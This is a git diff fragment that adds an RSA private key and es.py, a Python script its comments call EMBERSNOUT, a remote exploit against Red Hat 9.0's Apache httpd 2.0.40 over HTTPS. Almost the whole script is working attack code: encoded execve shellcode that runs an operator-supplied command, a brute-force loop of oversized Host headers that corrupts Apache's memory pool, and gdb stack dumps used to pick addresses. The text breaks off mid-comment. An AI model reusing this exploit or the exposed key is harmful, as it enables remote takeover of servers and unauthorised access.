+MIICXQIBAAKBgQDa8vHMtlxvdmLRp0zQVGNz7A0sEwF2pGcKqNRpFBzxv/RHYqQm +BJjz96qaSIS7kmdLv4RWpe7sq5DtwHCrC5GD2yZ5nIochFNLn//EmVihSNj0+g7A +SdFLOGIqJ9yg+KviUKY4pwq575YjkZB/hde2C0yrTpB3d+jNeJGk4vrifQIDAQAB +AoGAPTpJIh0xFj59/fESCwQ+V5GAUX3zH9Fzu0hhNg1Y1sX+MuRD0RniB/+PZtu2 +upmDZ2xkPrLicK69ta7mEv8GLtvuxGNjXjD6Jqwen25AuXOOG29heoIzgsPJbHgp +rXQEKflpFcy6GW3ajCoFgyeVxtFDnfD0h8VP1tp1G9cTbuUCQQDxZa1FUuBlr33p +kWRx18kTM9ldl9pE1JK4SiyNpIzHcPr1m2eZ+QXjYQVM4m9tsyyRTkxNXaOemBD3 +uGiRkatPAkEA6DGhhnJQNynn25jcJ3H8e1NoDcOLhbTPwPJXkKmesaIvyb3Ry0Pg +N3RE94lhFQPGfX5gDuxG01QO+6HDQDKycwJAFsY39a1e/Fj1MR8FcfQgxU4D+N+F +uS6w9PASif53Ra20D43s1Ur4Mj6KCHnod1oLH15atoXaFPFV0Hk2bF1o4wJBAMn9 +gvqmr0mN1vmd/McDzhSq9jYjClkCdkjviWV7aWY2JURnMP6WyZL0Pprok9/oLOA2 +8/GHcgWddntIucY7VCkCQQCeR+3dfHsUR4hXdj6DBWSlDbNwGZflylePOYJhn0og +J2sqVeT2xuO1D29HqnSvts+rhbHPT5FN0ZyOY55AKybz +-----END RSA PRIVATE KEY----- diff --git a/Linux/bin/es.py b/Linux/bin/es.py new file mode 100755 index 0000000..869a1ac --- /dev/null +++ b/Linux/bin/es.py @@ -0,0 +1,696 @@ +#!/usr/bin/env python + + +# EMBERSNOUT...a remote exploit against Red Hat 9.0's httpd-2.0.40-21 +# via TCP port 443 (https) + +import exceptions +import httplib +import random +import socket +import string +import sys +import time + +# Generic exception class, to get us out of the topmost loop, if needed... +class WhackLoopException(exceptions.Exception): + def __init__(self, args=None): + self.args = args + +target_server_version_check = 'Server: Apache/2.0.40 (Red Hat Linux)'; + +not_vulnerable_strings = {} + +# This one occurs when the 'UseCanonicalName On' directive is +# specified, turning off inclusion of our injected hostname +# during construction of the redirection string...8^(... +not_vulnerable_strings['UseCanonicalName On'] = \ + ('400 Bad', \ + 'Your browser', \ + 'sent a request that', \ + 'this server could not understand.', \ + '
', \ + 'Apache/2.0.40', \ + '
', \ + '', \ + '') + +# This one occurs when the 'Options IncludesNoExec' directive is +# missing from the... +# +# +# +# ...specification set... +not_vulnerable_strings['Options IncludesNoExec'] = \ + ('', \ + '', \ + 'Your browser (or proxy) sent a request that', \ + 'this server could not understand.', \ + '') + +# Initial (pre-encoded) shellcode... +plain_cmdshellcode_front = \ + '\xeb\x22' + \ + '\x59' + \ + '\x31\xc0' + \ + '\x50' + \ + '\x68''//sh' + \ + '\x68''/bin' + \ + '\x89\xe3' + \ + '\x50' + \ + '\x66\x68''-c' + \ + '\x89\xe7' + \ + '\x50' + \ + '\x51' + \ + '\x57' + \ + '\x53' + \ + '\x89\xe1' + \ + '\x99' + \ + '\xb0\x0b' + \ + '\xcd\x80' + \ + '\xe8\xd9\xff\xff\xff' + +# Some bytes of NULL to terminate the argument list... +plain_cmdshellcode_back = \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00" + +# shellcode thawer... +decoder_wench = \ + '\x74\x3f\x75\x3d\x8a\x1e\x80\xeb\x61\x30\xd8\x81\xc6\x02\x01\x01' + \ + '\x01\x81\xee\x01\x01\x01\x01\xc3\x8b\x34\x24\x89\xf7\x31\xc0\xe8' + \ + '\xe0\xff\xff\xff\x80\xfb\x19\x74\x1d\xc1\xe0\x04\xe8\xd3\xff\xff' + \ + '\xff\x88\x07\x81\xc7\x02\x01\x01\x01\x81\xef\x01\x01\x01\x01\xeb' + \ + '\xdc\xe8\xd2\xff\xff\xff' + +# Jump us forward from start of buffer to buffer+0x30 (shellcode)... +# originally... +jump_me_baby = '\xeb\x2e\x90\x90' +jump_me_baby_length = len(jump_me_baby); + +thorough_stack_offset_list = [ -0x201c, -0x200c, -0x1fec, -0x1fe8, -0x1fac, -0x1c, 0x0, 0x68, 0x98, 0xa4, 0x118, 0x124, 0x134, 0x144, 0x154, 0x164, 0x170, 0x184 ] +quick_stack_offset_list = [ 0x0 ] +attempted_whack_pool_pointers = {} + +# ============================================================================ +# ============= Function definitions... +# ============================================================================ +def bad_address_byte(byte_to_check): + if (byte_to_check.isupper() or (byte_to_check == chr(0x0)) or (byte_to_check == chr(0xa)) or (byte_to_check == chr(0xd))): + return(1) + else: + return(0) + +def bad_data_byte(byte_to_check): + if ((byte_to_check == chr(0x0)) or (byte_to_check == chr(0xa)) or (byte_to_check == chr(0xd)) or \ + ((byte_to_check >= chr(0x1)) and (byte_to_check <= chr(0x30))) or \ + ((byte_to_check >= chr(0x3c)) and (byte_to_check <= chr(0x40))) or \ + ((byte_to_check >= chr(0x5b)) and (byte_to_check <= chr(0x60))) or \ + ((byte_to_check >= chr(0x7b)) and (byte_to_check <= chr(0x7e)))): + return(1) + else: + return(0) + +def bogus_ass_address_bytes(address_to_check): + input_bytes = (chr((address_to_check >> 24) & 0xff), \ + chr((address_to_check >> 16) & 0xff), \ + chr((address_to_check >> 8) & 0xff), \ + chr(address_to_check & 0xff)) + bogus_ass_bytes = [] + + # Default to success... + return_value = 0 + + for byte_to_check in input_bytes: + if (bad_address_byte(byte_to_check)): + bogus_ass_bytes += byte_to_check + return_value += 1 + + return(return_value, bogus_ass_bytes) + +def encoder_wench(input_string): + # Work (in C) to arrive at this encoding/decoding scheme attributed + encoded_string = [] + + input_string_length = len(input_string) + for i in range(0, input_string_length): + # Combining the leading/trailing nibbles with 'a' + # to form each successive byte of the encoded + # string...definitely NOT rocket science, but + # it gets us through the filter...which is cool... + next_byte = ord(input_string[i]) + encoded_string += chr(0x61 + ((next_byte >> 4) & 0xf)) + encoded_string += chr(0x61 + (next_byte & 0xf)) + + # 'z' as the terminator... + encoded_string += chr(0x7a) + + return(encoded_string) + +def usage(command_name): + print '\n' + print 'Usage -> %s ip port packet_size start_ebp end_ebp ebp_inc hex_pad_byte "cmd"\n' % (command_name) + print 'where...\n' + print '\tip............target IP address' + print '\tport..........target httpd TCP port number (usually 443)' + print '\tpacket_size...attack packet length in bytes' + print '\tstart_ebp.....guessed %ebp value to start with' + print '\tend_ebp.......guessed %ebp value to end with' + print '\tebp_inc.......how many stack bytes to bump %ebp each time' + print '\thex_pad_byte..packet filling byte (0x0 will do randomized fill)' + print '\t"cmd".........ASCII command string to be executed on target' + print '\n' + return + +# ============================================================================ +# ============= Executable code... +# ============================================================================ +print "Arguments: ", sys.argv + +# ============================================================================ +# ============= Argument fetching... +# ============================================================================ +if (len(sys.argv) != 9): + # BONK!!! + usage(sys.argv[0]) + sys.exit(0) + +server_address = sys.argv[1] +port = int(sys.argv[2], 10) +packet_size = long(sys.argv[3], 10) +whack_frame_pointer = start_address = long(sys.argv[4], 16) + +# In case we need this functionality... +random_generator = random.Random(whack_frame_pointer) + +# ============================================================================ +# NOTE: We find the address of the start of our (filtered) buffer to be at +# offset 0x14 from the start of apr_pstrcat()'s frame pointer. We're +# going to use this address as the "apr_memnode_t *active" from the +# bogus "apr_pool_t" structure pointed to by whack_pool_pointer. +# "apr_memnode_t *active" is at offset 0x28 from the start of the +# "apr_pool_t" structure, so to succeed, whack_pool_pointer needs to +# be 0x14 less than the frame pointer of apr_pstrcat(), so that +# whack_pool_pointer + 0x28 gets us our buffer's start address loaded +# as "pool->active"...8^) +# Stack frame at 0xbfffe288: +# eip = 0x402fa19c in apr_pstrcat; saved eip 0x8077ef7 +# called by frame at 0xbfffe2f8, caller of frame at 0xbfffe228 +# Arglist at 0xbfffe288, args: +# Locals at 0xbfffe288, Previous frame's sp in esp +# Saved registers: +# ebp at 0xbfffe288, edi at 0xbfffe284, eip at 0xbfffe28c +# (gdb) x/32xw 0xbfffe288 +# 0xbfffe288: 0xbfffe2f8 0x08077ef7 0xbfffe274 0x08085dbb +# 0xbfffe298: 0x0808c9a0 ** 0x081f6038 ** 0x0808bf82 0xbfffe2c0 +# 0xbfffe2a8: 0x0808bf72 0x00000000 0x081d1790 0x081f7e38 +# 0xbfffe2b8: 0x00000000 0x48000010 0x00333434 0x081f7e38 +# 0xbfffe2c8: 0xbfffe2f8 0x081e9e28 0x50415448 0x081f5da8 +# 0xbfffe2d8: 0xbfffe2f8 0x402fc718 0x081f5da8 0x08161ae5 +# 0xbfffe2e8: 0x0000002d 0x081e9e28 0x0000000c 0x081f5da8 +# ...so, to hit on this target, for example... +# 0xbfffe298 --> contains desired load address for "pool->active" +# - 0x14 +# ========== +# 0xbfffe288 --> stack frame for apr_pstrcat() +# - 0x14 +# ========== +# 0xbfffe274 --> setting we'll need for whack_pool_pointer +# ============================================================================ + +end_address = long(sys.argv[5], 16) +address_increment = int(sys.argv[6], 16) +hex_pad_byte = int(sys.argv[7], 16) +plain_command_to_execute = sys.argv[8] + +# ============================================================================ +# ============= Shellcode prep/encode... +# ============================================================================ +plain_cmdshellcode = \ + plain_cmdshellcode_front + \ + plain_command_to_execute + \ + plain_cmdshellcode_back; +plain_cmdshellcode_length = len(plain_cmdshellcode); + +# Yo!!! Encoder wench!!! +encoded_shellcode = encoder_wench(plain_cmdshellcode) +encoded_shellcode_length = len(encoded_shellcode); + +# Final shellcode = the decoder wench + our encoded shellcode... +final_encoded_shellcode = decoder_wench +for i in range(0, encoded_shellcode_length): + final_encoded_shellcode += encoded_shellcode[i] +final_encoded_shellcode_length = len(final_encoded_shellcode); + +# Time info +start_time = time.asctime(time.gmtime()) + +print "== %s ==============================================================" % (start_time) +print 'parameter server_address.....................: %s' % (server_address) +print 'parameter port...............................: 0x%x (%d)' % (port, port) +print 'parameter packet_size........................: 0x%x (%d)' % (packet_size, packet_size) +print 'parameter start_address......................: 0x%x' % (start_address) +print 'parameter end_address........................: 0x%x' % (end_address) +print 'parameter address_increment..................: 0x%x (%d)' % (address_increment, address_increment) +print 'parameter hex_pad_byte.......................:', +if (hex_pad_byte == 0x0): + # Randomize... + print 'Somewhat RANDOM Bytes' +else: + print '0x%x' % (hex_pad_byte) +print 'parameter plain_command_to_execute...........: <%s>' % (plain_command_to_execute) + +# Now...we want to point "pool->active->first_avail" at the start of the +# stack pointer for memcpy(), so that we can whack memcpy()'s return +# address directly...if we don't, we'll crash in a bit in either +# memcpy() or strlen(), since apr_pstrcat() cruises through its +# variable argument list a second time, and we can't get a NULL word +# into the overwritten buffer, due to filtration...8^( +# +# We find the stack at the point of memcpy() (who is, apparently, frameless, +# and uses %esp for return purposes, not %ebp) to look like... +# Dump of assembler code for function memcpy: +# 0x4207bfd0 : mov 0xc(%esp,1),%ecx +# 0x4207bfd4 : mov %edi,%eax +# 0x4207bfd6 : mov 0x4(%esp,1),%edi +# 0x4207bfda : mov %esi,%edx +# 0x4207bfdc : mov 0x8(%esp,1),%esi +# 0x4207bfe0 : cld +# 0x4207bfe1 : shr %ecx +# 0x4207bfe3 : jae 0x4207bfe6 +# 0x4207bfe5 : movsb %ds:(%esi),%es:(%edi) +# 0x4207bfe6 : shr %ecx +# 0x4207bfe8 : jae 0x4207bfec +# 0x4207bfea : movsw %ds:(%esi),%es:(%edi) +# 0x4207bfec : repz movsl %ds:(%esi),%es:(%edi) +# 0x4207bfee : mov %eax,%edi +# 0x4207bff0 : mov %edx,%esi +# 0x4207bff2 : mov 0x4(%esp,1),%eax +# 0x4207bff6 : ret +# End of assembler dump. +# 0 0x4207bfea in memcpy () at memcpy:-1 +# 1 0x402fa1e6 in apr_pstrcat () from /usr/lib/libapr.so.0 +# 0xbfffe22c: *** 0x402fa1e6 *** 0xbffff625 0xbfffffff 0x0000000b +# 0xbfffe23c: 0x00001390 0xbfffe2ac 0x0000000b 0x00000006 +# 0xbfffe24c: 0xbfffe273 0x00000000 0x00000021 0x00001388 +# 0xbfffe25c: 0x00000006 0x00000003 0x0000000b 0xbfffe288 +# 0xbfffe26c: 0x0806e3b5 0x3c1d1790 0x72646461 0x3e737365 +# 0xbfffe27c: 0x63617041 0x322f6568 0x342e302e 0x65532030 +whack_memcpy_return_address_frame_pointer_decrement = 0x5c + +# Let's divide our packet_size by 2, and also decrement back that far, to... +# 1...hopefully avoid falling off the end of the stack (some frame pointers can +# be notably cheap/cheesy in their allocations, we've found...and +# 2...get our whack values and shellcode into the middle of the buffer... +whack_prevent_from_falling_off_stack_decrement = packet_size / 2 +whack_prevent_from_falling_off_stack_decrement = packet_size - 0x100 + +# ... 0xbfffe288: 0x90909090...1st argument: apr_pool_t *a +# ... 0xbfffe288: 0x08085dbb...2nd argument: <_IO_stdin_used+2135>: "" +# ... 0xbfffe298: 0x0808c9a0...3rd argument: : "
Apache/2.0.40 Server at " +# ... 0xbfffe298: 0x081f6038...4th argument: '\220' ... +# ... 0xbfffe298: 0x0808bf82...5th argument: : " Port " +# ... 0xbfffe298: 0xbfffe2c0...6th argument: "443" +# ... 0xbfffe2a8: 0x0808bf72...7th argument; : "
\n" +# ... 0xbfffe2a8: 0x00000000...NULL...end of variable argument list +whack_active_first_avail_decrement = \ + len('
Apache/2.0.40 Server at ') + \ + len(' Port ') + \ + len('443') + \ + len('
\n') + \ + whack_prevent_from_falling_off_stack_decrement + \ + 0x10 + # What the heck, we have the room... + +whack_pool_pointer = long(whack_frame_pointer - 0x14) +whack_active_first_avail_pointer = whack_frame_pointer - whack_memcpy_return_address_frame_pointer_decrement + +print "==========================================================================================" +print 'computed whack_pool_pointer.................: 0x%x' % (whack_pool_pointer) +print 'original whack_active_first_avail_pointer...: 0x%x' % (whack_active_first_avail_pointer) + +whack_active_first_avail_pointer -= whack_active_first_avail_decrement +whack_active_endp_pointer = 0xbffffff0 + +# Program received signal SIGSEGV, Segmentation fault. +# 0xdeadbeef in ?? () +# (gdb) ir +# eax:<0xb3b3b3b3> ecx:<0x00000000> edx:<0xbfffe208> ebx:<0x4030d508> +# esp:<0xbfffe230> ebp:<0xbfffe288> esi:<0xbfffe208> edi:<0x081f6038> +# eip:<0xdeadbeef> efl:<0x00010216> cs:<0x00000023> ss:<0x0000002b> +# ds:<0x0000002b> es:<0x0000002b> fs:<0x00000000> gs:<0x00000033> +# jump_vector_address = 0xdeadbeef +# Cool...8^) +# +# Hey...how about.....0x8051d9f : call *%edi +# jump_vector_address -> 0x8051d9f...the original +jump_vector_address = '\x9f\x1d\x05\x08' + +# Program received signal SIGSEGV, Segmentation fault. +# 0x081f6038 in ?? () +# (gdb) x/128xw 0x081f6038 +# 0x81f6038: 0xa2a2a2a2 0xa3a3a3a3 0xa4a4a4a4 0xa5a5a5a5 +# 0x81f6048: 0xbffff5a7 0xbffffff0 0xa1a1a1a1 0xa1a1a1a1 +# 0x81f6058: 0xb3b3b3b3 0x08051d9f 0xb3b3b3b3 0xb3b3b3b3 +# 0x81f6068: 0xb4b4b4b4 0xb4b4b4b4 0xb4b4b4b4 0xb4b4b4b4 +# 0x81f6078: 0xb5b5b5b5 0xb5b5b5b5 0xb5b5b5b5 0xb5b5b5b5 +# So...if we make that first word a jump $+0x30, for example, we win, starting at +# --> 0x81f6068: 0xb4b4b4b4 0xb4b4b4b4 0xb4b4b4b4 0xb4b4b4b4 + +print 'computed whack_active_first_avail_pointer...: 0x%x' % (whack_active_first_avail_pointer) +print 'computed whack_active_endp_pointer..........: 0x%x' % (whack_active_endp_pointer) +print 'computed final_encoded_shellcode_length.....: 0x%x (%d)' % (final_encoded_shellcode_length, final_encoded_shellcode_length) +print "==========================================================================================" + +we_still_think_target_is_vulnerable = 0 +whack_count = whack_ungrokkable_count = keyboard_interrupt_count = probable_crash_count = total_bytes_thrown = total_bytes_received = long(0) +not_time_to_quit = 1 + +try: + while (not_time_to_quit and (whack_frame_pointer <= end_address)): + whack_time = time.asctime(time.gmtime()) + print "0x%x == %s ============================================================" % (whack_frame_pointer,whack_time) + + (bogus_ass_active_first_avail_byte_count, bogus_ass_active_first_avail_bytes) = bogus_ass_address_bytes(whack_active_first_avail_pointer) + + # Now comes the hard part...we need to take our current parameters, and generate + # either 1 or 18 (yes, I said 18) iterations, depending on whether or not we + # can pass the computed whack_active_first_avail_pointer through unfiltered + # (the "quick" mode), or need to generate the other 18 potential addresses + # to try and whack 1 of the 18 copies of the "apr_pool_t *" pointer that can + # be found on the stack (the "thorough" mode)... + # + # Stack 'em up... + pool_pointer_address_stack = [] + stack_offset_list = [] + if (bogus_ass_active_first_avail_byte_count): + # Aw, poop...Can't do a single throw...need the "thorough" mode... + print '0x%x ---> THOROUGH attack due to %d ungrokkable whack_active_first_avail_pointer address (0x%x) byte(s):' % (whack_frame_pointer, bogus_ass_active_first_avail_byte_count, whack_active_first_avail_pointer), bogus_ass_active_first_avail_bytes + stack_offset_list = thorough_stack_offset_list + else: + stack_offset_list = quick_stack_offset_list + + for stack_offset in stack_offset_list: + # Sorry...offsets mistakenly computed based on the pool->active pointer...I know, I know, + # I should have done it from the computed pool pointer in each case, but you know, + # you only have so much time to use a graphical calculator in life, and if you + # want to rebalance each offset by the additional 0x28, and then use the + # whack_pool_pointer, please feel free...but adding in the 0x28 here gets + # us the correct value, go figure... + try_pool_pointer = whack_pool_pointer + long(stack_offset) + if (attempted_whack_pool_pointers.has_key(try_pool_pointer)): + # Yep...tried this one already...skip around, but keep a count... + attempted_whack_pool_pointers[try_pool_pointer] += 1 + else: + # Nope...haven't seen this one yet... + attempted_whack_pool_pointers[try_pool_pointer] = 1 + pool_pointer_address_stack.append(try_pool_pointer) + + # Before we start popping 'em off...reverse 'em, since we went least to greatest + # while adding...that way, we'll also be least to greatest while popping off...8^) + pool_pointer_address_stack.reverse() + pool_pointer_count = len(pool_pointer_address_stack) + while (not_time_to_quit and len(pool_pointer_address_stack)): + # Pop 'em off...one at a time... + whack_pool_pointer = pool_pointer_address_stack.pop() + print "0x%x (%02d of %02d) =============================================================================" % (whack_frame_pointer, pool_pointer_count - len(pool_pointer_address_stack), pool_pointer_count) + (bogus_ass_pool_byte_count, bogus_ass_pool_bytes) = bogus_ass_address_bytes(whack_pool_pointer) + if (bogus_ass_pool_byte_count): + # Aw, poop...Bump the whack ungrokkable count... + print '0x%x (%02d of %02d) ---> SKIPPING due to %d ungrokkable whack_pool_pointer address (0x%x) byte(s):' % (whack_frame_pointer, pool_pointer_count - len(pool_pointer_address_stack), pool_pointer_count, bogus_ass_pool_byte_count, whack_pool_pointer), bogus_ass_pool_bytes + whack_ungrokkable_count += 1 + + else: + # FIRE IN THE HOLE!!! + print '0x%x (%02d of %02d) ---> Throwing whack_pool_pointer: 0x%x' % (whack_frame_pointer, pool_pointer_count - len(pool_pointer_address_stack), pool_pointer_count, whack_pool_pointer) + + # TCP socket, please... + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + + # Remote side tuple... + target_address = (server_address, port) + + print '0x%x (%02d of %02d) ---> Connecting to %s via TCP port %d...' % (whack_frame_pointer, pool_pointer_count - len(pool_pointer_address_stack), pool_pointer_count, server_address, port) + s.connect(target_address) + + if (port == 80): + # sb whack... + msg = 'GET /manual HTTP/1.1' + elif (port == 443): + msg = 'GET /index.html HTTP/1.0' + else: + msg = 'GET /index.html HTTP/1.0' + + print "0x%x (%02d of %02d) ---> Sending: <%s>" % (whack_frame_pointer, pool_pointer_count - len(pool_pointer_address_stack), pool_pointer_count, msg) + msg += '\n' + s.send(msg) + total_bytes_thrown += len(msg) + + host_field = 'Host: ' + for i in range(0, packet_size): + if ((i >= 0x0) and (i <= 0x3)): + # Okay...first 0x30 bytes of our buffer are the + # bogus "apr_pool_t" structure, which we hop to + # via stack... + # 0x10...first_avail + # 0x14...endp + # + # We need to jump ahead just a bit, to jump over our critical values + # used at offsets 0x10, 0x14 and 0x24, to shellcode, which we're + # gonna place at offset 0x30... + host_field += jump_me_baby[i] + elif ((i >= 0x4) and (i <= 0x7)): + # Less of a jump, by 4 bytes... + # + # We need to jump ahead just a bit, to jump over our critical values + # used at offsets 0x10, 0x14 and 0x24, to shellcode, which we're + # gonna place at offset 0x30... + host_field += jump_me_baby[i - 0x4] + elif (((i >= 0x10) and (i <= 0x13)) or ((i >= 0x610) and (i <= 0x613))): + # char *pool->active->first_avail + if (i % 4 == 0): + host_field += chr(whack_active_first_avail_pointer & 0xff) + elif (i % 4 == 1): + host_field += chr((whack_active_first_avail_pointer >> 8) & 0xff) + elif (i % 4 == 2): + host_field += chr((whack_active_first_avail_pointer >> 16) & 0xff) + else: + host_field += chr((whack_active_first_avail_pointer >> 24) & 0xff) + elif (((i >= 0x14) and (i <= 0x17)) or ((i >= 0x614) and (i <= 0x617))): + # char *pool->active->endp + if (i % 4 == 0): + host_field += chr(whack_active_endp_pointer & 0xff) + elif (i % 4 == 1): + host_field += chr((whack_active_endp_pointer >> 8) & 0xff) + elif (i % 4 == 2): + host_field += chr((whack_active_endp_pointer >> 16) & 0xff) + else: + host_field += chr((whack_active_endp_pointer >> 24) & 0xff) + elif ((i >= 0x30) and (i < (0x30 + final_encoded_shellcode_length))): + # We want shellcode hereabouts...8^) + # Mom...we're home!!! + host_field += final_encoded_shellcode[i - 0x30] + elif (((i >= 0x600) and (i <= 0x603)) or ((i >= 0x620) and (i <= 0x623))): + # The target offset...otherwise known as our bogus pool pointer...8^) + if (i % 4 == 0): + host_field += chr(whack_pool_pointer & 0xff) + elif (i % 4 == 1): + host_field += chr((whack_pool_pointer >> 8) & 0xff) + elif (i % 4 == 2): + host_field += chr((whack_pool_pointer >> 16) & 0xff) + else: + host_field += chr((whack_pool_pointer >> 24) & 0xff) + # elif ((i >= 0x7d0) and (i <= 0x1387)): + # elif ((i >= 0x1200) and (i <= 0x1300)): + # elif ((i >= 0x1000) and (i <= packet_size)): + elif ((i >= 0x604) and (i <= packet_size)): + # Ass end of the packet...non-scientifically adding 0x100/4 of 'em... + # + # Load a bunch of copies of our jump vector, in case we get any + # address byte translation...We can get more precise with additional + # testing at some later point...8^) + if (i % 4 == 0): + host_field += jump_vector_address[0] + elif (i % 4 == 1): + host_field += jump_vector_address[1] + elif (i % 4 == 2): + host_field += jump_vector_address[2] + else: + host_field += jump_vector_address[3] + else: + if (hex_pad_byte == 0x0): + # Randomizing... + random_pad_byte = chr(random.randint(0x1, 0xff) & 0xff) + while (bad_data_byte(random_pad_byte)): + random_pad_byte = chr(random.randint(0x1, 0xff) & 0xff) + host_field += random_pad_byte + else: + host_field += chr(hex_pad_byte) + + host_field += '\n' + + print '0x%x (%02d of %02d) ---> Sending: field...%d bytes' % (whack_frame_pointer, pool_pointer_count - len(pool_pointer_address_stack), pool_pointer_count, len(host_field)) + s.send(host_field) + total_bytes_thrown += len(host_field) + + if (port == 80): + # sb whack...2 of 3... + print '0x%x (%02d of %02d) ---> Sending: field...%d bytes' % (whack_frame_pointer, pool_pointer_count - len(pool_pointer_address_stack), pool_pointer_count, len(host_field)) + s.send(host_field) + total_bytes_thrown += len(host_field) + # sb whack...3 of 3...don't forget the bogus port number!!! + bogus_port = '64432' + last_host_field = host_field[:len(host_field)] + last_host_field += ':' + last_host_field += bogus_port + last_host_field += '\n' + host_field = last_host_field + print '0x%x (%02d of %02d) ---> Sending: field...%d bytes' % (whack_frame_pointer, pool_pointer_count - len(pool_pointer_address_stack), pool_pointer_count, len(host_field)) + s.send(host_field) + total_bytes_thrown += len(host_field) + + double_newline = '\n\n' + print '0x%x (%02d of %02d) ---> Sending: ' % (whack_frame_pointer, pool_pointer_count - len(pool_pointer_address_stack), pool_pointer_count) + s.send(double_newline) + total_bytes_thrown += len(double_newline) + + try: + target_response = s.recv(8192) + if (len(target_response) == 0): + # Cool...looks like we whacked him, methinks... + print '0x%x (%02d of %02d) <--- Received: EOF on connection...no response came back!' % (whack_frame_pointer, pool_pointer_count - len(pool_pointer_address_stack), pool_pointer_count) + if (we_still_think_target_is_vulnerable == 0): + # Guess again, grasshopper... + we_still_think_target_is_vulnerable = 1 + + probable_crash_count += 1 + else: + total_bytes_received += len(target_response) + print '0x%x <--- Received: %d bytes of response\n%s' % (whack_frame_pointer, len(target_response), target_response) + + if (we_still_think_target_is_vulnerable == 0): + # Otay...vulnerability assessment, please... + # + # "I agree...Preparation H DOES feel good...on the whole..." + found_all_error_strings = {} + for key in not_vulnerable_strings.keys(): + found_all_error_strings[key] = 1 + for next_string in not_vulnerable_strings[key]: + if (target_response.find(next_string) == -1): + # Not found...okay, he COULD still be vulnerable... + found_all_error_strings[key] = 0 + + if (found_all_error_strings[key]): + # Uh-oh...he may NOT be vulnerable, 'cause he's matched + # one of our little detector string sets... + print '0x%x (%02d of %02d) **** Target appears NON-VULNERABLE!!!' % (whack_frame_pointer, pool_pointer_count - len(pool_pointer_address_stack), pool_pointer_count) + print '0x%x (%02d of %02d) **** Target may have --> %s <-- directive set...which would suck!!!' % (whack_frame_pointer, pool_pointer_count - len(pool_pointer_address_stack), pool_pointer_count, key) + print '0x%x (%02d of %02d) Would you like to continue (y/n)? [Y] ' % (whack_frame_pointer, pool_pointer_count - len(pool_pointer_address_stack), pool_pointer_count), + response = string.lower(raw_input()) + if (response == ''): + response = 'y' + while ((response != 'y') and (response != 'n')): + print '\n0x%x (%02d of %02d) Would you like to continue (y/n)? [Y] ' % (whack_frame_pointer, pool_pointer_count - len(pool_pointer_address_stack), pool_pointer_count), + if (response == ''): + response = 'y' + response = string.lower(raw_input()) + + if (response == 'n'): + # Your wish is my command... + # + # Bail...Premature Exit, Y'all!!! + print '\n0x%x (%02d of %02d) **** Bailing...' % (whack_frame_pointer, pool_pointer_count - len(pool_pointer_address_stack), pool_pointer_count) + not_time_to_quit = 0 + # raise WhackLoopException + else: + # Keep on cruising, and don't come in here again, since + # we've already been there, done that, got the $&@*#$&! T-shirt... + print '\n0x%x (%02d of %02d) Continuing, as requested...' % (whack_frame_pointer, pool_pointer_count - len(pool_pointer_address_stack), pool_pointer_count) + we_still_think_target_is_vulnerable = 1 + + # Done with this one... + del(found_all_error_strings[key]) + + # except KeyboardInterrupt, (errno, err_string): + # print '0x%x (%02d of %02d) <--- Received: ERROR occurred (%d): %s' % (whack_frame_pointer. pool_pointer_count - len(pool_pointer_address_stack), pool_pointer_count, errno, err_string) + except KeyboardInterrupt: + keyboard_interrupt_count += 1 + + print '0x%x (%02d of %02d) (Hang: %d) Would you like to continue (y/n)? [Y] ' % (whack_frame_pointer, pool_pointer_count - len(pool_pointer_address_stack), pool_pointer_count, keyboard_interrupt_count), + response = string.lower(raw_input()) + if (response == ''): + response = 'y' + while ((response != 'y') and (response != 'n')): + print '\n0x%x (%02d of %02d) (Hang: %d) Would you like to continue (y/n)? [Y] ' % (whack_frame_pointer, pool_pointer_count - len(pool_pointer_address_stack), pool_pointer_count, keyboard_interrupt_count), + response = string.lower(raw_input()) + if (response == ''): + response = 'y' + + if (response == 'n'): + # Your wish is my command...Close this connection... + print '\n0x%x (%02d of %02d) ---> Closing...' % (whack_frame_pointer, pool_pointer_count - len(pool_pointer_address_stack), pool_pointer_count) + s.close() + + # Bail...Premature Exit, Y'all!!! + print '0x%x (%02d of %02d) **** Bailing...' % (whack_frame_pointer, pool_pointer_count - len(pool_pointer_address_stack), pool_pointer_count) + raise WhackLoopException + + print '\n0x%x (%02d of %02d) Continuing, as requested...' % (whack_frame_pointer, pool_pointer_count - len(pool_pointer_address_stack), pool_pointer_count) + + except: + print '0x%x (%02d of %02d) **** ERROR situation occurred!' % (whack_frame_pointer, pool_pointer_count - len(pool_pointer_address_stack), pool_pointer_count) + + # Close this connection... + print '0x%x (%02d of %02d) ---> Closing...' % (whack_frame_pointer, pool_pointer_count - len(pool_pointer_address_stack), pool_pointer_count) + s.close() + + # Bump the whack count... + whack_count += 1 + + print "0x%x (%02d of %02d) =============================================================================" % (whack_frame_pointer, pool_pointer_count - len(pool_pointer_address_stack), pool_pointer_count) + + # Bump our target address(es)... + print "0x%x == %s ============================================================" % (whack_frame_pointer,whack_time) + whack_frame_pointer += address_increment + whack_pool_pointer = whack_frame_pointer - 0x14 + whack_active_first_avail_pointer = whack_frame_pointer - whack_memcpy_return_address_frame_pointer_decrement + whack_active_first_avail_pointer -= whack_active_first_avail_decrement + +except WhackLoopException: + # Bailing... + print "==========================================================================================" + print 'Bailing as requested by user...' + +# Pass 1...count the total number of different pool pointer values thrown... +multiple_whack_pool_pointers_computed = 0 +total_whack_pool_pointers_computed = 0 +for whacked_pool_pointer in attempted_whack_pool_pointers.keys(): + total_whack_pool_pointers_computed += attempted_whack_pool_pointers[whacked_pool_pointer] + multiple_whack_pool_pointers_computed += (attempted_whack_pool_pointers[whacked_pool_pointer] - 1) + + + +stop_time = time.asctime(time.gmtime()) +print "==========================================================================================" +print 'completed address range 0x%x-0x%x by 0x%x completed' % (start_address, end_address, address_increment) +print 'completed whack(s) thrown....................: %d' % (whack_count) +print 'completed whack(s) ungrokkable (filtered)....: %d' % (whack_ungrokkable_count) +print 'completed keyboard interrupts (hung whacks?).: %d' % (keyboard_interrupt_count) +print 'completed whack_pool_pointer values computed.: %d' % (total_whack_pool_pointers_computed) +print 'multiply computed whack_pool_pointer values...: %d' % (multiple_whack_pool_pointers_computed) +print 'completed total whack attempts...............: %d' % (whack_count + whack_ungrokkable_count) +print 'completed total bytes thrown.................: %d' % (total_bytes_thrown) +print 'completed total bytes received...............: %d' % (total_bytes_received) +print 'completed probable httpd crash count.........: %d' % (probable_crash_count) +print 'completed start time.........................: %s' % (start_time) +print 'completed stop time..........................: %s' % (stop_time) +print "==========================================================================================" + +# Pass 2...list the multiples... +# Pass 2...list the multiples...print 'the dupe whack_pool_pointer values............' +# Pass 2...list the 